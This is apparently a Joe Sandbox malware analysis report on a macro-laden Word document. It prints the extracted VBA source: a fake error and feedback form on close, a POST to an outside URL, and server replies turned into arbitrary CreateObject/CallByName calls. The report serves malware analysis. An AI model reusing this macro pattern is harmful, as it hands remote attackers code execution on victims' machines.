Play interactive tourEdit tour

Windows Analysis Report SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.27501

Overview

General Information

Sample Name:SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.27501 (renamed file extension from 27501 to doc)
Analysis ID:452057
MD5:a02e887652e44ac767e944932f3913ca
SHA1:e00d91e02e805e7412811b2045ed5001712f7c45
SHA256:579addf4ae37a3dd7a0e2238354f81e8265d1acf0715120f472afb5bcad8c54f
Tags:docx
Infos:

Most interesting Screenshot:

Detection

Score:48
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Document contains an embedded VBA macro with suspicious strings
Document contains an embedded VBA with functions possibly related to HTTP operations
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
  • System is w7x64
  • WINWORD.EXE (PID: 2772 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{88A448DA-37B6-4304-B417-1FC7335DBCC8}.tmpJump to behavior
Source: SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.docString found in binary or memory: https://feedbackportal.download/ecm/ibm/1626879752/feedback

System Summary:

barindex
Document contains an embedded VBA macro with suspicious strings
Source: SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.docOLE, VBA macro line: Reply = CallByName(obj, fields(1), VbMethod, fields(2), 0)
Source: SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.docOLE, VBA macro line: Set obj = CreateObject("MSXML2.ServerXMLHTTP")
Source: VBA code instrumentationOLE, VBA macro: Module Feedback, Function process, String callbyname: Reply = CallByName(obj, fields(1), VbMethod, fields(2), 0)Name: process
Source: VBA code instrumentationOLE, VBA macro: Module Feedback, Function send, String msxml2.serverxmlhttp: Set obj = CreateObject("MSXML2.ServerXMLHTTP")Name: send
Document contains an embedded VBA with functions possibly related to HTTP operations
Source: SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.docStream path 'Macros/VBA/Feedback' : found possibly 'XMLHttpRequest' functions response, responsetext, status, open, send, setrequestheader
Source: VBA code instrumentationOLE, VBA macro: Module Feedback, Function send, found possibly 'XMLHttpRequest' functions response, responsetext, status, open, send, setrequestheaderName: send
Source: SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.docOLE, VBA macro line: Private Sub Document_Close()
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function Document_CloseName: Document_Close
Source: SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.docOLE indicator, VBA macros: true
Source: classification engineClassification label: mal48.expl.winDOC@1/6@0/0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\Desktop\~$curiteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.docJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Temp\CVRC071.tmpJump to behavior
Source: SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.docOLE indicator, Word Document stream: true
Source: SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.docOLE document summary: title field not present or empty
Source: SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.docOLE document summary: author field not present or empty
Source: SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.docOLE document summary: edited time not present or 0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEWindow found: window name: SysTabControl32Jump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItemsJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsScripting22Path InterceptionPath InterceptionMasquerading1OS Credential DumpingFile and Directory Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumApplication Layer Protocol1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsScripting22LSASS MemorySystem Information Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothIngress Tool Transfer1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 452057 Sample: SecuriteInfo.com.VBA.Heur.O... Startdate: 21/07/2021 Architecture: WINDOWS Score: 48 7 Document contains an embedded VBA with functions possibly related to HTTP operations 2->7 9 Document contains an embedded VBA macro with suspicious strings 2->9 5 WINWORD.EXE 428 30 2->5         started        process3

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

windows-stand
No Antivirus matches
No Antivirus matches
No Antivirus matches
No Antivirus matches
SourceDetectionScannerLabelLink
https://feedbackportal.download/ecm/ibm/1626879752/feedback0%Avira URL Cloudsafe
No contacted domains info
NameSourceMaliciousAntivirus DetectionReputation
https://feedbackportal.download/ecm/ibm/1626879752/feedbackSecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.docfalse
  • Avira URL Cloud: safe
unknown
No contacted IP infos

General Information

Joe Sandbox Version:33.0.0 White Diamond
Analysis ID:452057
Start date:21.07.2021
Start time:19:39:12
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 4m 40s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.27501 (renamed file extension from 27501 to doc)
Cookbook file name:defaultwindowsofficecookbook.jbs
Analysis system description:Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:2
Number of new started drivers analysed:0
Number of existing processes analysed:0
Number of existing drivers analysed:0
Number of injected processes analysed:0
Technologies:
  • EGA enabled
  • HDC enabled
  • GSI enabled (VBA)
  • AMSI enabled
Analysis Mode:default
Analysis stop reason:Timeout
Detection:MAL
Classification:mal48.expl.winDOC@1/6@0/0
Cookbook Comments:
  • Adjust boot time
  • Enable AMSI
  • Found Word or Excel or PowerPoint or XPS Viewer
  • Attach to Office via COM
  • Scroll down
  • Close Viewer
Warnings:
  • Exclude process from analysis (whitelisted): dllhost.exe
  • Report size getting too big, too many NtQueryAttributesFile calls found.
  • Report size getting too big, too many NtSetInformationFile calls found.
No simulations
No context
No context
No context
No context
No context
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{88A448DA-37B6-4304-B417-1FC7335DBCC8}.tmp
Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:data
Category:dropped
Size (bytes):1024
Entropy (8bit):0.05390218305374581
Encrypted:false
SSDEEP:3:ol3lYdn:4Wn
MD5:5D4D94EE7E06BBB0AF9584119797B23A
SHA1:DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:false
Reputation:high, very likely benign file
Preview: ........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd
Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:data
Category:dropped
Size (bytes):162688
Entropy (8bit):4.254347747717171
Encrypted:false
SSDEEP:1536:C6WL3FNSc8SetKB96vQVCBumVMOej6mXmYarrJQcd1FaLcm48s:C7JNSc83tKBAvQVCgOtmXmLpLm4l
MD5:381B75E88D7F110C8C71A717C53B524E
SHA1:5ED3B18C67D740BDBBA667320FF551185BDAE875
SHA-256:2AF0E8B816FE6924F89210A6D43DE9603728177586AA5F475BE7C32F36655661
SHA-512:4C4CEFDD53ACB8429BE2A57767C37D66B1CDA22846F584BADDF62960B80989A985B8E0D6FDA7BB1E1D59050EDDF3E09D529F9768ADD37F7BA629677A3E281714
Malicious:false
Reputation:low
Preview: MSFT................Q................................#......$....... ...................d.......,...........X....... ...........L...........x.......@...........l.......4...........`.......(...........T...................H...........t.......<...........h.......0...........\.......$...........P...........|.......D...........p.......8...........d.......,...........X....... ...........L...........x.......@........ ..l ... ..4!...!...!..`"..."..(#...#...#..T$...$...%...%...%..H&...&...'..t'...'..<(...(...)..h)...)..0*...*...*..\+...+..$,...,...,..P-...-......|.......D/.../...0..p0...0..81...1...2..d2...2..,3...3...3..X4...4.. 5...5...5..L6...6...7..x7...7..@8.......8..............................$................................................................................x..xG..............T........................................... ...........................................................&!..............................................................................................
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.LNK
Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 22 01:39:26 2021, mtime=Thu Jul 22 01:39:26 2021, atime=Thu Jul 22 01:39:33 2021, length=43008, window=hide
Category:dropped
Size (bytes):2478
Entropy (8bit):4.571262704181108
Encrypted:false
SSDEEP:48:8R/XT3IiQHdoR9jqEHdoQYQh2R/XT3IiQHdoR9jqEHdoQYQ/:8R/XLIiQKHjqJQYQh2R/XLIiQKHjqJQz
MD5:6FBD5870A5CC817D71797C84EBFD9A04
SHA1:66A8757C5DEDF88F9AAC1BBA43EAFD0E7F5D3659
SHA-256:E864ECB060983DEC35FF4D56F6EEB4C2A60196B448B6989D9D42394DB29BC45D
SHA-512:3D9CF8343EEEFF37406823949AC04109188917D4B8FBE566626F89EEA6EC72E527A2A61C8BB2BBC71318ED66121F2438D2AFA5601A5FE5082A05952972822B25
Malicious:false
Reputation:low
Preview: L..................F.... ....G..~...G..~..g...~..........................)....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y*...&=....U...............A.l.b.u.s.....z.1......R....Desktop.d......QK.X.R..*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2......R.. .SECURI~1.DOC..........R...R..*...Y.....................S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...V.B.A...H.e.u.r...O.b.f.D.l.d.r...1.3...2.1.7.2.4.5.C.7...G.e.n...2.2.8.0.4...d.o.c.......................-...8...[............?J......C:\Users\..#...................\\562258\Users.user\Desktop\SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.doc.R.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...V.B.A...H.e.u.r...O.b.f.D.l.d.r...1.3...2.1.7.2.4.5.C.7...G.e.n...2.2.8.0.4...d.o.c.........:..,.LB.)...Ag.............
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:ASCII text, with CRLF line terminators
Category:dropped
Size (bytes):203
Entropy (8bit):4.9906794684664675
Encrypted:false
SSDEEP:3:M1n8bXIq1XL7LXk1PFXVouscbXIq1XL7LXk1PFXVomX1n8bXIq1XL7LXk1PFXVov:MukqnL01bVkqnL01bkkqnL01by
MD5:D09742EB76645913F4A50D5D948DBD69
SHA1:6868136F57597CC35B278B82955729D3F59D8BA8
SHA-256:8680ACE46440FE2B5A1CEEAC5D6294EEF7AE768F28E69824468824E8E76F7872
SHA-512:D117AF7B506B26C074D071D665C7AC4285FFF30623B14F9EFAC1BE1EE1D8294482D94FFBF11FA055E7AA59FEFA19A42847904A74F89DE0A8FF3D0A61549FE7AC
Malicious:false
Reputation:low
Preview: [doc]..SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.LNK=0..SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.LNK=0..[doc]..SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.LNK=0..
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:data
Category:dropped
Size (bytes):162
Entropy (8bit):2.4311600611816426
Encrypted:false
SSDEEP:3:vrJlaCkWtVydH/5llORewrU9lln:vdsCkWtORWRjYl
MD5:390880DCFAA790037FA37F50A7080387
SHA1:760940B899B1DC961633242DB5FF170A0522B0A5
SHA-256:BE4A99C0605649A08637AC499E8C871B5ECA2BAA03909E8ADBAA4C7A6A1D5391
SHA-512:47E6AC186253342882E375AA38252D8473D1CA5F6682FABD5F459E1B088B935E326E1149080E0FE94AB176A101BA2CB9E8B700AB5AFAE26F865982A8DA295FD3
Malicious:false
Reputation:moderate, very likely benign file
Preview: .user..................................................A.l.b.u.s.............p.......................................P.....................z...............x...
C:\Users\user\Desktop\~$curiteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.doc
Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:data
Category:dropped
Size (bytes):162
Entropy (8bit):2.4311600611816426
Encrypted:false
SSDEEP:3:vrJlaCkWtVydH/5llORewrU9lln:vdsCkWtORWRjYl
MD5:390880DCFAA790037FA37F50A7080387
SHA1:760940B899B1DC961633242DB5FF170A0522B0A5
SHA-256:BE4A99C0605649A08637AC499E8C871B5ECA2BAA03909E8ADBAA4C7A6A1D5391
SHA-512:47E6AC186253342882E375AA38252D8473D1CA5F6682FABD5F459E1B088B935E326E1149080E0FE94AB176A101BA2CB9E8B700AB5AFAE26F865982A8DA295FD3
Malicious:false
Reputation:moderate, very likely benign file
Preview: .user..................................................A.l.b.u.s.............p.......................................P.....................z...............x...

Static File Info

General

File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Jul 6 05:33:00 2021, Last Saved Time/Date: Mon Jul 12 11:49:00 2021, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Security: 0
Entropy (8bit):3.7770860998058877
TrID:
  • Microsoft Word document (32009/1) 79.99%
  • Generic OLE2 / Multistream Compound File (8008/1) 20.01%
File name:SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.doc
File size:38400
MD5:a02e887652e44ac767e944932f3913ca
SHA1:e00d91e02e805e7412811b2045ed5001712f7c45
SHA256:579addf4ae37a3dd7a0e2238354f81e8265d1acf0715120f472afb5bcad8c54f
SHA512:2fa9f846d6680bd59abc40f44ce90efff6765063f7455696a1c6947fe293c80ca09797d419bc8da8660a773c18c3484fad9776f502a4c3c762f7d595c81389c0
SSDEEP:384:3Wf8yGcSdW+wRsCBkX/l+JVA8p1r/zYVB6MeUogrUr3QAl9ethuZLp:GJKCBcEVA8pt/AB6MI2Ur/lVLp
File Content Preview:........................>.......................&...........(...............%..................................................................................................................................................................................

File Icon

Icon Hash:e4eea2aaa4b4b4a4

General

Document Type:OLE
Number of OLE Files:1

Indicators

Has Summary Info:True
Application Name:Microsoft Office Word
Encrypted Document:False
Contains Word Document Stream:True
Contains Workbook/Book Stream:False
Contains PowerPoint Document Stream:False
Contains Visio Document Stream:False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:True

Summary

Code Page:1251
Title:
Subject:
Author:
Keywords:
Comments:
Template:
Last Saved By:
Revion Number:1
Total Edit Time:0
Create Time:2021-07-06 04:33:00
Last Saved Time:2021-07-12 10:49:00
Number of Pages:1
Number of Words:0
Number of Characters:0
Creating Application:Microsoft Office Word
Security:0

Document Summary

Document Code Page:1251
Number of Lines:1
Number of Paragraphs:1
Thumbnail Scaling Desired:False
Contains Dirty Links:False
Shared Document:False
Changed Hyperlinks:False
Application Version:786432
General
Stream Path:Macros/VBA/Feedback
VBA File Name:Feedback.cls
Stream Size:2842
Data ASCII:. . . . . . . . . , . . . . . . . . . . . . . . . 3 . . . C . . . . . . . . . . . ! . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 01 00 00 f0 00 00 00 2c 04 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff 33 04 00 00 43 08 00 00 00 00 00 00 01 00 00 00 21 d1 9b d6 00 00 ff ff 01 00 00 00 80 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Keyword
String,
"Feedback"
String)
process
VB_Name
VB_Creatable
process(data
VB_Exposed
lines()
Reply
obj.send
vbCrLf)
LBound(lines,
"application/x-www-form-urlencoded"
(obj.responseText)
String
"POST",
Object
VB_Customizable
UBound(lines,
requesUrl
Split(data,
Public
send(data
lines(i)
VbMethod,
fields()
"Content-Type",
VB_TemplateDerived
(data)
CallByName(obj,
fields
UBound(fields)
False
Attribute
obj.Status
lines
obj.setRequestHeader
Private
Split(lines(i),
VB_PredeclaredId
obj.Open
VB_GlobalNameSpace
VB_Base
Trim(requesUrl),
MsgBox
VBA Code
Attribute VB_Name = "Feedback"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Private Sub process(data As String)
    Dim lines() As String
    Dim fields() As String
    
    lines = Split(data, vbCrLf)
    For i = LBound(lines, 1) To UBound(lines, 1)
        fields = Split(lines(i), "|", 3)
        
        If UBound(fields) = 0 Then
            MsgBox lines(i)
        Else
          Dim obj As Object
          Set obj = CreateObject(fields(0))
          Reply = CallByName(obj, fields(1), VbMethod, fields(2), 0)
        End If
    Next i
    
           
    

End Sub


Public Sub send(data As String, requesUrl As String)

        
    Set obj = CreateObject("MSXML2.ServerXMLHTTP")
    obj.Open "POST", Trim(requesUrl), False
    obj.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
    obj.send (data)
    
    If obj.Status = "200" Then
        process (obj.responseText)
    End If
End Sub
General
Stream Path:Macros/VBA/ThisDocument
VBA File Name:ThisDocument.cls
Stream Size:1478
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . s . . . . . . . . . . . ! . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 01 00 00 f0 00 00 00 04 03 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff 0b 03 00 00 73 04 00 00 00 00 00 00 01 00 00 00 21 d1 e0 f4 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Keyword
VB_Name
VB_Creatable
VB_Exposed
version",
"Conversion
fail"
vbCritical,
VB_Customizable
document
frmFeedback.Show
VB_TemplateDerived
"ERROR:
"ThisDocument"
VBA_ModuleType=VBADocumentModule
False
Attribute
Private
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
Document_Close()
MsgBox
VBA Code
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Rem Attribute VBA_ModuleType=VBADocumentModule

Private Sub Document_Close()

MsgBox "ERROR: Bad document version", vbCritical, "Conversion fail"
frmFeedback.Show


End Sub
General
Stream Path:Macros/VBA/frmFeedback
VBA File Name:frmFeedback.frm
Stream Size:2977
Data ASCII:. . . . . . . . . X . . . . . . . t . . . . . . . ` . . . $ . . . . . . . . . . . ! . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 01 00 00 f0 00 00 00 58 05 00 00 d4 00 00 00 74 02 00 00 ff ff ff ff 60 05 00 00 24 09 00 00 00 00 00 00 01 00 00 00 21 d1 6f 05 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Keyword
UserForm_QueryClose(Cancel
btnSend_Click()
VB_Name
VB_Creatable
VB_Exposed
"status=close"
Integer)
Integer,
Boolean
data,
UserForm_Activate()
String
"status=ok"
String)
feedbackAction
sended
VB_Customizable
"frmFeedback"
Unload
btnClose_Click()
CloseMode
"status=cancel"
VB_TemplateDerived
feedbackAction(data
False
Feedback
"&comment="
Attribute
Private
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
fb.send
VBA Code
Attribute VB_Name = "frmFeedback"
Attribute VB_Base = "0{D3A91B38-4DB9-4127-BDC6-A12A02586370}{ABE498BB-A746-48CC-9E40-3567E6F5903F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Dim sended As Boolean


Private Sub feedbackAction(data As String)
    Dim fb As Feedback
    Set fb = New Feedback
    sended = True
    fb.send data, frmFeedback.TextBox2.Value
    
    
    
    Unload Me
End Sub

Private Sub btnClose_Click()
    feedbackAction "status=cancel"
    
End Sub

Private Sub btnSend_Click()
    Dim text As String
    
    text = "status=ok" &             "&answer_1=" & frmFeedback.CheckBox1.Value &             "&answer_2=" & frmFeedback.CheckBox2.Value &             "&comment=" & frmFeedback.TextBox1.Value
    
    feedbackAction text
